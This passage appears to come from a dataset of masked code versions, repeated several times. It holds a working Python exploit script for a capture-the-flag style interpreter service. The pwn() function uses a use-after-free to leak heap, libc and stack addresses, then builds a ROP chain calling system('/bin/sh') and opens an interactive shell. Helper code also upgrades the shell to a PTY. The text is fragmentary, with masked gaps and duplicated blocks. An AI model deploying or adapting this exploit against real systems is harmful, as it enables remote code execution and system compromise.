\"\"\"Receive incoming data until it matches the given regex.\n\n Returns the match object.\n\n IMPORTANT: Since the data is coming from the network, it's usually\n a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function\n will return as soon as 'addr: 0xf' is read. Instead, make sure to\n end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\\\n'.\n \"\"\"\n if isinstance(regex, str):\n regex = re.compile(regex)\n buf = ''\n match = None\n while not match:\n buf += d(self.recv(1))\n match = regex.search(buf)\n return match\n\n def recvline(self):\n \"\"\"Receive and return a line from the remote end.\n\n The trailing newline character will be included in the returned buffer.\n \"\"\"\n return self.recvtil('\\n')\n\n def send(self, buf):\n \"\"\"Send all data in buf to the remote end.\"\"\"\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)\n\n def sendnum(self, n):\n \"\"\"Send the string representation of n followed by a newline character.\"\"\"\n self.sendline(str(n))\n\n @bytes_and_strings_are_cool\n def sendline(self, l):\n \"\"\"Prepend a newline to l and send everything to the remote end.\"\"\"\n self.send(l + b'\\n')\n\n def interact(self):\n \"\"\"Interact with the remote end: connect stdout and stdin to the socket.\"\"\"\n self._verbose = False\n try:\n while True:\n available, _, _ = select.select([sys.stdin, self._s], [], [])\n for src in available:\n if src == sys.stdin:\n data = sys.stdin.buffer.read1(1024)\n self.send(data)\n else:\n data = self.recv(4096)\n sys.stdout.buffer.write(data)\n sys.stdout.flush()\n except KeyboardInterrupt:\n return\n except DisconnectException:\n print_info('Server disconnected.')\n return\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\n\n<mask token>\n\n\ndef p32(d):\n \"\"\"Return d packed as 32-bit unsigned integer (little endian).\"\"\"\n return pack('<I', d)\n\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).\"\"\"\n return unpack('<I', d)[0]\n\n\n<mask token>\n\n\ndef print_bad(msg):\n print(ansi(Term.COLOR_MAGENTA) + '[-] ' + msg + ansi(Term.CLEAR))\n\n\ndef print_info(msg):\n print('[*] ' + msg)\n\n\n<mask token>\n\n\ndef validate(data, badchars):\n \"\"\"Assert that no badchar occurs in data.\"\"\"\n assert all(b not in data for b in badchars)\n\n\ndef is_printable(b):\n \"\"\"Return true if the given byte is a printable ASCII character.\"\"\"\n return b in e(string.printable)\n\n\ndef hexdump(data):\n \"\"\"Return a hexdump of the given data. Similar to what `hexdump -C` produces.\"\"\"\n\n def is_hexdump_printable(b):\n return (b in\n b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\\\|\\'\";:/?.,<>'\n )\n lines = []\n chunks = (data[i * 16:i * 16 + 16] for i in range((len(data) + 15) // 16))\n for i, chunk in enumerate(chunks):\n hexblock = ['{:02x}'.format(b) for b in chunk]\n left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:])\n asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for\n b in chunk)\n lines.append('{:08x} {:23} {:23} |{}|'.format(i * 16, left,\n right, asciiblock))\n return '\\n'.join(lines)\n\n\nclass Term:\n COLOR_BLACK = '30'\n COLOR_RED = '31'\n COLOR_GREEN = '32'\n COLOR_BROWN = '33'\n COLOR_BLUE = '34'\n COLOR_MAGENTA = '35'\n COLOR_CYAN = '36'\n COLOR_WHITE = '37'\n CLEAR = '0'\n UNDERLINE = '4'\n BOLD = '1'\n ESCAPE_START = '\\x1b['\n ESCAPE_END = 'm'\n\n\n<mask token>\n\n\nclass DisconnectException(Exception):\n pass\n\n\nclass Pattern:\n \"\"\"De-Bruijn sequence generator.\"\"\"\n alphabet = string.digits + string.ascii_letters\n\n def __init__(self, length):\n if length <= len(self.alphabet):\n self._seq = self.alphabet[:length]\n elif length <= len(self.alphabet) ** 2:\n self._seq = self._generate(2)[:length]\n elif length <= len(self.alphabet) ** 3:\n self._seq = self._generate(3)[:length]\n elif length <= len(self.alphabet) ** 4:\n self._seq = self._generate(4)[:length]\n else:\n raise Exception('Pattern length is way to large')\n\n def _generate(self, n):\n \"\"\"Generate a De Bruijn sequence.\"\"\"\n k = len(self.alphabet)\n a = [0] * k * n\n sequence = []\n\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p + 1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return ''.join(self.alphabet[i] for i in sequence)\n\n def bytes(self):\n \"\"\"Return this sequence as bytes.\"\"\"\n return e(self._seq)\n\n def __str__(self):\n \"\"\"Return this sequence as string.\"\"\"\n return self._seq\n\n @bytes_and_strings_are_cool\n def offset(self, needle):\n \"\"\"Returns the index of 'needle' in this sequence.\n\n 'needle' should be of type string or bytes. If an integer is provided\n it will be treated as 32-bit or 64-bit little endian number, depending\n on its bit length.\n \"\"\"\n if isinstance(needle, int):\n if needle.bit_length() <= 32:\n needle = p32(needle)\n else:\n needle = p64(needle)\n needle = d(needle)\n idx = self._seq.index(needle)\n if self._seq[idx + len(needle):].find(needle) != -1:\n raise ValueError('Multiple occurances found!')\n return idx\n\n\nclass Channel:\n \"\"\"Convenience wrapper around a socket.\"\"\"\n OUTGOING_COLOR = Term.COLOR_RED\n INCOMING_COLOR = Term.COLOR_BLUE\n\n def __init__(self, sock, verbose):\n self._s = sock\n self._verbose = verbose\n self._buf = bytearray()\n\n def _prettyprint(self, data, outgoing):\n \"\"\"Prettyprint the given data.\n\n This does the following: All data that is valid ASCII is colorized according to the direction of the traffic.\n Everything else is converted to hex, then printed in bold and underline for visibility.\n\n Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be\n detected in arbitrary binary streams.\n \"\"\"\n TEXT = 0\n BINARY = 1\n X = 4\n Y = 16\n Z = 2\n color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR\n parts = []\n curr = ''\n for b in data:\n if is_printable(b):\n parts.append((TEXT, b))\n else:\n parts.append((BINARY, b))\n i = 0\n mergedparts = []\n while i < len(parts):\n t = parts[i][0]\n arr = [parts[i][1]]\n j = i + 1\n while j < len(parts) and parts[j][0] == t:\n arr.append(parts[j][1])\n j += 1\n i = j\n extra = []\n if t == TEXT and len(arr) > Y and i < len(parts) - 1:\n mid = len(arr) - Z - 1\n start, end = mid, mid\n char = arr[mid]\n while start >= 0 and arr[start] == char:\n start -= 1\n while end < len(arr) and arr[end] == char:\n end += 1\n if end - start >= Y + 2 and end < len(parts):\n extra = arr[end:]\n arr = arr[:end]\n mergedparts.append((t, bytes(arr)))\n if extra:\n mergedparts.append((BINARY, bytes(extra)))\n parts = mergedparts\n buf = ''\n last = None\n for tag, value in parts:\n if tag == TEXT and len(value) <= X and last == BINARY:\n tag = BINARY\n if tag == TEXT:\n buf += ansi(Term.CLEAR) + ansi(color)\n else:\n buf += ansi(color, Term.BOLD, Term.UNDERLINE)\n value = hexlify(value)\n buf += d(value)\n last = tag\n buf += ansi(Term.CLEAR)\n print(buf, end='')\n sys.stdout.flush()\n\n def setVerbose(self, verbose):\n \"\"\"Set verbosity of this channel.\"\"\"\n self._verbose = verbose\n\n def recv(self, n=4096):\n \"\"\"Return up to n bytes of data from the remote end.\n\n Buffers incoming data internally.\n\n NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead.\n \"\"\"\n if len(self._buf) < n:\n buf = self._s.recv(65536)\n if not buf and not self._buf:\n raise DisconnectException('Server disconnected.')\n if self._verbose:\n self._prettyprint(buf, False)\n self._buf += buf\n buf = self._buf[:n]\n self._buf = self._buf[n:]\n return buf\n\n def recvn(self, n):\n \"\"\"Return exactly n bytes of data from the remote end.\"\"\"\n data = []\n while len(data) != n:\n data.append(self.recv(1))\n return b''.join(data)\n\n @bytes_and_strings_are_cool\n def recvtil(self, delim):\n \"\"\"Read data from the remote end until delim is found in the data.\n\n The first occurance of delim is included in the returned buffer.\n \"\"\"\n buf = b''\n while not delim in buf:\n buf += self.recv(1)\n return buf\n\n def recvregex(self, regex):\n \"\"\"Receive incoming data until it matches the given regex.\n\n Returns the match object.\n\n IMPORTANT: Since the data is coming from the network, it's usually\n a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function\n will return as soon as 'addr: 0xf' is read. Instead, make sure to\n end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\\\n'.\n \"\"\"\n if isinstance(regex, str):\n regex = re.compile(regex)\n buf = ''\n match = None\n while not match:\n buf += d(self.recv(1))\n match = regex.search(buf)\n return match\n\n def recvline(self):\n \"\"\"Receive and return a line from the remote end.\n\n The trailing newline character will be included in the returned buffer.\n \"\"\"\n return self.recvtil('\\n')\n\n def send(self, buf):\n \"\"\"Send all data in buf to the remote end.\"\"\"\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)\n\n def sendnum(self, n):\n \"\"\"Send the string representation of n followed by a newline character.\"\"\"\n self.sendline(str(n))\n\n @bytes_and_strings_are_cool\n def sendline(self, l):\n \"\"\"Prepend a newline to l and send everything to the remote end.\"\"\"\n self.send(l + b'\\n')\n\n def interact(self):\n \"\"\"Interact with the remote end: connect stdout and stdin to the socket.\"\"\"\n self._verbose = False\n try:\n while True:\n available, _, _ = select.select([sys.stdin, self._s], [], [])\n for src in available:\n if src == sys.stdin:\n data = sys.stdin.buffer.read1(1024)\n self.send(data)\n else:\n data = self.recv(4096)\n sys.stdout.buffer.write(data)\n sys.stdout.flush()\n except KeyboardInterrupt:\n return\n except DisconnectException:\n print_info('Server disconnected.')\n return\n\n\n<mask token>\n\n\ndef send(b):\n c.send(b)\n\n\ndef sendline(l):\n c.sendline(l)\n\n\ndef sendnum(n):\n c.sendnum(n)\n\n\n<mask token>\n\n\ndef recvtil(delim):\n return c.recvtil(delim)\n\n\n<mask token>\n\n\ndef interact():\n c.interact()\n\n\n<mask token>\n\n\ndef readvar(name):\n evl('=')\n recvtil('Bad token: 0-1\\n> ')\n evl(name)\n response = recvtil('> ')\n return response.split(b'\\n')[0]\n\n\ndef readintvar(name):\n return int(d(readvar(name)))\n\n\n<mask token>\n\n\ndef gc(remaining):\n \"\"\"Trigger gargabe collection\"\"\"\n for i in range(remaining):\n evl('{}'.format(i))\n\n\ndef leak(addr, length):\n \"\"\"Leaks process memory by abusing the UAF to temporarily inject a fake string.\"\"\"\n fake_str_addr = heap_base + 176\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"')\n for i in range(15):\n evl('{}'.format(i))\n evl('a={}+x'.format(fake_str_addr))\n gc(16)\n return readstrvar('a')[0:length]\n\n\n<mask token>\n\n\ndef pwn():\n global heap_base\n recvtil('>')\n evl('x=\"XXXXXXXXXXXXXXXX\"')\n heap_base = heapleak()\n print_good('Heap base @ 0x{:x}'.format(heap_base))\n evl('\"{}\"'.format('A' * 256))\n gc(20 - 4)\n heap_mem = leak(heap_base, 4096)\n for i in range(0, len(heap_mem) - 16, 8):\n flink = u64(heap_mem[i:i + 8])\n blink = u64(heap_mem[i + 8:i + 16])\n if (abs(flink - heap_base) > 65536 and flink > 139637976727552 and \n flink < 140737488355328 and blink > 139637976727552 and blink <\n 140737488355328):\n break\n else:\n print_bad('No freelist pointers found :(')\n return\n libc = flink - 3938600\n print_good('libc @ 0x{:x}'.format(libc))\n env_ptr = u64(leak2(libc + 3949728, 8))\n print_good('stack @ 0x{:x}'.format(env_ptr))\n system = libc + 288144\n bin_sh = libc + 1573123\n pop_rdi = libc + 142234\n pop_rsi = libc + 149637\n pop_rdx = libc + 7054\n add_rsp_0x48 = libc + 1006475\n print_good('/bin/sh @ 0x{:x}'.format(bin_sh))\n input_buf = env_ptr - 808\n print_good('input_buf @ 0x{:x}'.format(input_buf))\n ret_addr = env_ptr - 808 - 8\n print_good('return address @ 0x{:x}'.format(ret_addr))\n evl('l.a=x')\n evl('h.a=x')\n evl('a.a=x')\n evl('b.a=x')\n evl('c.a=x')\n evl('d.a=x')\n evl('e.a=x')\n evl('f.a=x')\n for i in range(9):\n evl('\"{}\"'.format('A' * 16))\n evl('1337')\n for o in ['l', 'a', 'h', 'a', 'b', 'c', 'd', 'e', 'f']:\n for p in ALPHABET:\n evl('{}.{}=x'.format(o, p))\n for i in range(6):\n evl('1337')\n for i in 'ghijk':\n evl('{}=x'.format(i))\n fake_str = p64(18446744073709551615 - 15 - (384 - 16)) + p64(71748523475265\n ) + b'D' * 240\n evl(b'n=\"' + fake_str + b'\"')\n payload = b'\\x00' * 64 + p64(ord('p')) + p64(input_buf + 16 + 256) + p64(\n input_buf - 7)\n payload += b'\\x00' * (384 - len(payload))\n evl(b'o=\"' + payload + b'\"')\n fake_str_addr = heap_base + 7808\n evl('p=o+{}'.format(fake_str_addr))\n payload = b'A' * 256\n payload += p64(1) + p64(input_buf + 16 + 256 + 24) + p64(0)\n payload += p64(8) + p64(ret_addr)\n evl(payload)\n binary = readstrvar('p')\n binary = u64(binary) - 2769\n print_good('binary @ 0x{:x}'.format(binary))\n offset_to_ret = ret_addr - (input_buf & 18446744073709551360)\n print_good('offset to return address: 0x{:x}'.format(offset_to_ret))\n if offset_to_ret > 40 or offset_to_ret < 0:\n print_bad('Bad offset')\n return\n prop_name = p64(binary + 2761)[1]\n if prop_name < ord('A') or prop_name > ord('z'):\n print_bad('Bad propery name: {}'.format(prop_name))\n return\n prop_name = chr(prop_name)\n print_good('property name: {}'.format(prop_name))\n payload = b'A' * 56\n payload += p64(pop_rdi)\n payload += p64(bin_sh)\n payload += p64(system)\n validate(payload, [b'\\n'])\n evl(payload)\n evl('{}=42'.format(prop_name))\n payload = b'A' * offset_to_ret\n payload += p64(add_rsp_0x48)\n validate(payload, [b'\\n'])\n evl(payload)\n time.sleep(0.5)\n interact()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\n\ndef d(d):\n \"\"\"Decode the given bytes instance using UTF-8.\"\"\"\n return d.decode('UTF-8')\n\n\ndef p32(d):\n \"\"\"Return d packed as 32-bit unsigned integer (little endian).\"\"\"\n return pack('<I', d)\n\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).\"\"\"\n return unpack('<I', d)[0]\n\n\ndef p64(d):\n \"\"\"Return d packed as 64-bit unsigned integer (little endian).\"\"\"\n return pack('<Q', d)\n\n\ndef u64(d):\n \"\"\"Return the number represented by d when interpreted as a 64-bit unsigned integer (little endian).\"\"\"\n return unpack('<Q', d)[0]\n\n\ndef print_good(msg):\n print(ansi(Term.BOLD) + '[+] ' + msg + ansi(Term.CLEAR))\n\n\ndef print_bad(msg):\n print(ansi(Term.COLOR_MAGENTA) + '[-] ' + msg + ansi(Term.CLEAR))\n\n\ndef print_info(msg):\n print('[*] ' + msg)\n\n\ndef bytes_and_strings_are_cool(func):\n \"\"\"Decorator to encode arguments that are string instances.\"\"\"\n\n def inner(*args, **kwargs):\n nargs = tuple(map(lambda arg: e(arg) if isinstance(arg, str) else\n arg, args))\n nkwargs = dict(map(lambda k, v: (k, e(v)) if isinstance(v, str) else\n (k, v), kwargs))\n return func(*nargs, **nkwargs)\n return inner\n\n\ndef validate(data, badchars):\n \"\"\"Assert that no badchar occurs in data.\"\"\"\n assert all(b not in data for b in badchars)\n\n\ndef is_printable(b):\n \"\"\"Return true if the given byte is a printable ASCII character.\"\"\"\n return b in e(string.printable)\n\n\ndef hexdump(data):\n \"\"\"Return a hexdump of the given data. Similar to what `hexdump -C` produces.\"\"\"\n\n def is_hexdump_printable(b):\n return (b in\n b' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`~!@#$%^&*()-_=+[]{}\\\\|\\'\";:/?.,<>'\n )\n lines = []\n chunks = (data[i * 16:i * 16 + 16] for i in range((len(data) + 15) // 16))\n for i, chunk in enumerate(chunks):\n hexblock = ['{:02x}'.format(b) for b in chunk]\n left, right = ' '.join(hexblock[:8]), ' '.join(hexblock[8:])\n asciiblock = ''.join(chr(b) if is_hexdump_printable(b) else '.' for\n b in chunk)\n lines.append('{:08x} {:23} {:23} |{}|'.format(i * 16, left,\n right, asciiblock))\n return '\\n'.join(lines)\n\n\nclass Term:\n COLOR_BLACK = '30'\n COLOR_RED = '31'\n COLOR_GREEN = '32'\n COLOR_BROWN = '33'\n COLOR_BLUE = '34'\n COLOR_MAGENTA = '35'\n COLOR_CYAN = '36'\n COLOR_WHITE = '37'\n CLEAR = '0'\n UNDERLINE = '4'\n BOLD = '1'\n ESCAPE_START = '\\x1b['\n ESCAPE_END = 'm'\n\n\ndef ansi(*args):\n \"\"\"Construct an ANSI terminal escape code.\"\"\"\n code = Term.ESCAPE_START\n code += ';'.join(args)\n code += Term.ESCAPE_END\n return code\n\n\nclass DisconnectException(Exception):\n pass\n\n\nclass Pattern:\n \"\"\"De-Bruijn sequence generator.\"\"\"\n alphabet = string.digits + string.ascii_letters\n\n def __init__(self, length):\n if length <= len(self.alphabet):\n self._seq = self.alphabet[:length]\n elif length <= len(self.alphabet) ** 2:\n self._seq = self._generate(2)[:length]\n elif length <= len(self.alphabet) ** 3:\n self._seq = self._generate(3)[:length]\n elif length <= len(self.alphabet) ** 4:\n self._seq = self._generate(4)[:length]\n else:\n raise Exception('Pattern length is way to large')\n\n def _generate(self, n):\n \"\"\"Generate a De Bruijn sequence.\"\"\"\n k = len(self.alphabet)\n a = [0] * k * n\n sequence = []\n\n def db(t, p):\n if t > n:\n if n % p == 0:\n sequence.extend(a[1:p + 1])\n else:\n a[t] = a[t - p]\n db(t + 1, p)\n for j in range(a[t - p] + 1, k):\n a[t] = j\n db(t + 1, t)\n db(1, 1)\n return ''.join(self.alphabet[i] for i in sequence)\n\n def bytes(self):\n \"\"\"Return this sequence as bytes.\"\"\"\n return e(self._seq)\n\n def __str__(self):\n \"\"\"Return this sequence as string.\"\"\"\n return self._seq\n\n @bytes_and_strings_are_cool\n def offset(self, needle):\n \"\"\"Returns the index of 'needle' in this sequence.\n\n 'needle' should be of type string or bytes. If an integer is provided\n it will be treated as 32-bit or 64-bit little endian number, depending\n on its bit length.\n \"\"\"\n if isinstance(needle, int):\n if needle.bit_length() <= 32:\n needle = p32(needle)\n else:\n needle = p64(needle)\n needle = d(needle)\n idx = self._seq.index(needle)\n if self._seq[idx + len(needle):].find(needle) != -1:\n raise ValueError('Multiple occurances found!')\n return idx\n\n\nclass Channel:\n \"\"\"Convenience wrapper around a socket.\"\"\"\n OUTGOING_COLOR = Term.COLOR_RED\n INCOMING_COLOR = Term.COLOR_BLUE\n\n def __init__(self, sock, verbose):\n self._s = sock\n self._verbose = verbose\n self._buf = bytearray()\n\n def _prettyprint(self, data, outgoing):\n \"\"\"Prettyprint the given data.\n\n This does the following: All data that is valid ASCII is colorized according to the direction of the traffic.\n Everything else is converted to hex, then printed in bold and underline for visibility.\n\n Only ASCII is supported as of now. This might be the better choice anyway since otherwise valid UTF-8 might be\n detected in arbitrary binary streams.\n \"\"\"\n TEXT = 0\n BINARY = 1\n X = 4\n Y = 16\n Z = 2\n color = self.OUTGOING_COLOR if outgoing else self.INCOMING_COLOR\n parts = []\n curr = ''\n for b in data:\n if is_printable(b):\n parts.append((TEXT, b))\n else:\n parts.append((BINARY, b))\n i = 0\n mergedparts = []\n while i < len(parts):\n t = parts[i][0]\n arr = [parts[i][1]]\n j = i + 1\n while j < len(parts) and parts[j][0] == t:\n arr.append(parts[j][1])\n j += 1\n i = j\n extra = []\n if t == TEXT and len(arr) > Y and i < len(parts) - 1:\n mid = len(arr) - Z - 1\n start, end = mid, mid\n char = arr[mid]\n while start >= 0 and arr[start] == char:\n start -= 1\n while end < len(arr) and arr[end] == char:\n end += 1\n if end - start >= Y + 2 and end < len(parts):\n extra = arr[end:]\n arr = arr[:end]\n mergedparts.append((t, bytes(arr)))\n if extra:\n mergedparts.append((BINARY, bytes(extra)))\n parts = mergedparts\n buf = ''\n last = None\n for tag, value in parts:\n if tag == TEXT and len(value) <= X and last == BINARY:\n tag = BINARY\n if tag == TEXT:\n buf += ansi(Term.CLEAR) + ansi(color)\n else:\n buf += ansi(color, Term.BOLD, Term.UNDERLINE)\n value = hexlify(value)\n buf += d(value)\n last = tag\n buf += ansi(Term.CLEAR)\n print(buf, end='')\n sys.stdout.flush()\n\n def setVerbose(self, verbose):\n \"\"\"Set verbosity of this channel.\"\"\"\n self._verbose = verbose\n\n def recv(self, n=4096):\n \"\"\"Return up to n bytes of data from the remote end.\n\n Buffers incoming data internally.\n\n NOTE: You probably shouldn't be using this method. Use one of the other recvX methods instead.\n \"\"\"\n if len(self._buf) < n:\n buf = self._s.recv(65536)\n if not buf and not self._buf:\n raise DisconnectException('Server disconnected.')\n if self._verbose:\n self._prettyprint(buf, False)\n self._buf += buf\n buf = self._buf[:n]\n self._buf = self._buf[n:]\n return buf\n\n def recvn(self, n):\n \"\"\"Return exactly n bytes of data from the remote end.\"\"\"\n data = []\n while len(data) != n:\n data.append(self.recv(1))\n return b''.join(data)\n\n @bytes_and_strings_are_cool\n def recvtil(self, delim):\n \"\"\"Read data from the remote end until delim is found in the data.\n\n The first occurance of delim is included in the returned buffer.\n \"\"\"\n buf = b''\n while not delim in buf:\n buf += self.recv(1)\n return buf\n\n def recvregex(self, regex):\n \"\"\"Receive incoming data until it matches the given regex.\n\n Returns the match object.\n\n IMPORTANT: Since the data is coming from the network, it's usually\n a bad idea to use a regex such as 'addr: 0x([0-9a-f]+)' as this function\n will return as soon as 'addr: 0xf' is read. Instead, make sure to\n end the regex with a known sequence, e.g. use 'addr: 0x([0-9a-f]+)\\\\n'.\n \"\"\"\n if isinstance(regex, str):\n regex = re.compile(regex)\n buf = ''\n match = None\n while not match:\n buf += d(self.recv(1))\n match = regex.search(buf)\n return match\n\n def recvline(self):\n \"\"\"Receive and return a line from the remote end.\n\n The trailing newline character will be included in the returned buffer.\n \"\"\"\n return self.recvtil('\\n')\n\n def send(self, buf):\n \"\"\"Send all data in buf to the remote end.\"\"\"\n if self._verbose:\n self._prettyprint(buf, True)\n self._s.sendall(buf)\n\n def sendnum(self, n):\n \"\"\"Send the string representation of n followed by a newline character.\"\"\"\n self.sendline(str(n))\n\n @bytes_and_strings_are_cool\n def sendline(self, l):\n \"\"\"Prepend a newline to l and send everything to the remote end.\"\"\"\n self.send(l + b'\\n')\n\n def interact(self):\n \"\"\"Interact with the remote end: connect stdout and stdin to the socket.\"\"\"\n self._verbose = False\n try:\n while True:\n available, _, _ = select.select([sys.stdin, self._s], [], [])\n for src in available:\n if src == sys.stdin:\n data = sys.stdin.buffer.read1(1024)\n self.send(data)\n else:\n data = self.recv(4096)\n sys.stdout.buffer.write(data)\n sys.stdout.flush()\n except KeyboardInterrupt:\n return\n except DisconnectException:\n print_info('Server disconnected.')\n return\n\n\ndef telnet(shell='/bin/bash'):\n \"\"\"Telnet emulation.\n\n Opens a PTY on the remote end and connects the master side to the socket.\n Then spawns a shell connected to the slave end and puts the controlling TTY\n on the local machine into raw mode.\n Result: Something similar to a telnet/(plaintext)ssh session.\n\n Vim, htop, su, less, etc. will work with this.\n\n !!! This function only works if the channel is connected to a shell !!!\n \"\"\"\n assert sys.stdin.isatty()\n c.setVerbose(False)\n code = \"import pty; pty.spawn(['{}', '-i'])\".format(shell)\n sendline('python -c \"{}\"; exit'.format(code))\n time.sleep(0.5)\n old_settings = termios.tcgetattr(sys.stdin.fileno())\n tty.setraw(sys.stdin)\n cols, rows = os.get_terminal_size(sys.stdin.fileno())\n sendline('stty rows {} cols {}; echo READY'.format(rows, cols))\n recvtil('READY\\r\\n')\n recvtil('READY\\r\\n')\n interact()\n termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)\n\n\ndef send(b):\n c.send(b)\n\n\ndef sendline(l):\n c.sendline(l)\n\n\ndef sendnum(n):\n c.sendnum(n)\n\n\n<mask token>\n\n\ndef recvtil(delim):\n return c.recvtil(delim)\n\n\ndef recvn(n):\n return c.recvn(n)\n\n\ndef recvline():\n return c.recvline()\n\n\ndef recvregex(r):\n return c.recvregex(r)\n\n\ndef interact():\n c.interact()\n\n\n<mask token>\n\n\ndef evl(code):\n sendline(code)\n\n\ndef readvar(name):\n evl('=')\n recvtil('Bad token: 0-1\\n> ')\n evl(name)\n response = recvtil('> ')\n return response.split(b'\\n')[0]\n\n\ndef readintvar(name):\n return int(d(readvar(name)))\n\n\ndef readstrvar(name):\n return readvar(name)[1:-1]\n\n\ndef heapleak():\n \"\"\"Free the lhs and rhs values during add_assign. ...\"\"\"\n for i in range(16):\n evl('{}'.format(i))\n evl('h=0+0')\n return readintvar('h') & 18446744073709547520\n\n\ndef gc(remaining):\n \"\"\"Trigger gargabe collection\"\"\"\n for i in range(remaining):\n evl('{}'.format(i))\n\n\ndef leak(addr, length):\n \"\"\"Leaks process memory by abusing the UAF to temporarily inject a fake string.\"\"\"\n fake_str_addr = heap_base + 176\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"')\n for i in range(15):\n evl('{}'.format(i))\n evl('a={}+x'.format(fake_str_addr))\n gc(16)\n return readstrvar('a')[0:length]\n\n\ndef leak2(addr, length):\n \"\"\"Same as above, but different offsets...\"\"\"\n fake_str_addr = heap_base + 368\n fake_str = p64(length) + p64(addr)\n evl(b'l=\"' + fake_str + b'\"')\n for i in range(12):\n evl('{}'.format(i))\n evl('a={}+x'.format(fake_str_addr))\n return readstrvar('a')[0:length]\n\n\ndef pwn():\n global heap_base\n recvtil('>')\n evl('x=\"XXXXXXXXXXXXXXXX\"')\n heap_base = heapleak()\n print_good('Heap base @ 0x{:x}'.format(heap_base))\n evl('\"{}\"'.format('A' * 256))\n gc(20 - 4)\n heap_mem = leak(heap_base, 4096)\n for i in range(0, len(heap_mem) - 16, 8):\n flink = u64(heap_mem[i:i + 8])\n blink = u64(heap_mem[i + 8:i + 16])\n if (abs(flink - heap_base) > 65536 and flink > 139637976727552 and \n flink < 140737488355328 and blink > 139637976727552 and blink <\n 140737488355328):\n break\n else:\n print_bad('No freelist pointers found :(')\n return\n libc = flink - 3938600\n print_good('libc @ 0x{:x}'.format(libc))\n env_ptr = u64(leak2(libc + 3949728, 8))\n print_good('stack @ 0x{:x}'.format(env_ptr))\n system = libc + 288144\n bin_sh = libc + 1573123\n pop_rdi = libc + 142234\n pop_rsi = libc + 149637\n pop_rdx = libc + 7054\n add_rsp_0x48 = libc + 1006475\n print_good('/bin/sh @ 0x{:x}'.format(bin_sh))\n input_buf = env_ptr - 808\n print_good('input_buf @ 0x{:x}'.format(input_buf))\n ret_addr = env_ptr - 808 - 8\n print_good('return address @ 0x{:x}'.format(ret_addr))\n evl('l.a=x')\n evl('h.a=x')\n evl('a.a=x')\n evl('b.a=x')\n evl('c.a=x')\n evl('d.a=x')\n evl('e.a=x')\n evl('f.a=x')\n for i in range(9):\n evl('\"{}\"'.format('A' * 16))\n evl('1337')\n for o in ['l', 'a', 'h', 'a', 'b', 'c', 'd', 'e', 'f']:\n for p in ALPHABET:\n evl('{}.{}=x'.format(o, p))\n for i in range(6):\n evl('1337')\n for i in 'ghijk':\n evl('{}=x'.format(i))\n fake_str = p64(18446744073709551615 - 15 - (384 - 16)) + p64(71748523475265\n ) + b'D' * 240\n evl(b'n=\"' + fake_str + b'\"')\n payload = b'\\x00' * 64 + p64(ord('p')) + p64(input_buf + 16 + 256) + p64(\n input_buf - 7)\n payload += b'\\x00' * (384 - len(payload))\n evl(b'o=\"' + payload + b'\"')\n fake_str_addr = heap_base + 7808\n evl('p=o+{}'.format(fake_str_addr))\n payload = b'A' * 256\n payload += p64(1) + p64(input_buf + 16 + 256 + 24) + p64(0)\n payload += p64(8) + p64(ret_addr)\n evl(payload)\n binary = readstrvar('p')\n binary = u64(binary) - 2769\n print_good('binary @ 0x{:x}'.format(binary))\n offset_to_ret = ret_addr - (input_buf & 18446744073709551360)\n print_good('offset to return address: 0x{:x}'.format(offset_to_ret))\n if offset_to_ret > 40 or offset_to_ret < 0:\n print_bad('Bad offset')\n return\n prop_name = p64(binary + 2761)[1]\n if prop_name < ord('A') or prop_name > ord('z'):\n print_bad('Bad propery name: {}'.format(prop_name))\n return\n prop_name = chr(prop_name)\n print_good('property name: {}'.format(prop_name))\n payload = b'A' * 56\n payload += p64(pop_rdi)\n payload += p64(bin_sh)\n payload += p64(system)\n validate(payload, [b'\\n'])\n evl(payload)\n evl('{}=42'.format(prop_name))\n payload = b'A' * offset_to_ret\n payload += p64(add_rsp_0x48)\n validate(payload, [b'\\n'])\n evl(payload)\n time.sleep(0.5)\n interact()\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef e(d):\n \"\"\"Encode the given string instance using UTF-8.\"\"\"\n return d.encode('UTF-8')\n\n\ndef d(d):\n \"\"\"Decode the given bytes instance using UTF-8.\"\"\"\n return d.decode('UTF-8')\n\n\ndef p32(d):\n \"\"\"Return d packed as 32-bit unsigned integer (little endian).\"\"\"\n return pack('<I', d)\n\n\ndef u32(d):\n \"\"\"Return the number represented by d when interpreted as a 32-bit unsigned integer (little endian).\"\"\"\n return unpack('<I', d)[0]\n\n\ndef p64(d):\n \"\"\"Return d packed as 64-bit unsigned integer (little endian).\"\"\"\n return pack('<Q', d)\n\n\ndef u64(d):\n \"\"\"Return the number represented by d when interpreted as a 64-bit unsigned integer (little endian).\"\"\"\n return unpack('<Q', d)[0]\n\n\ndef print_good(msg):\n print(ansi(Term.BOLD) + '[+] ' + msg + ansi(Term.CLEAR))\n\n\ndef print_bad(msg):\n 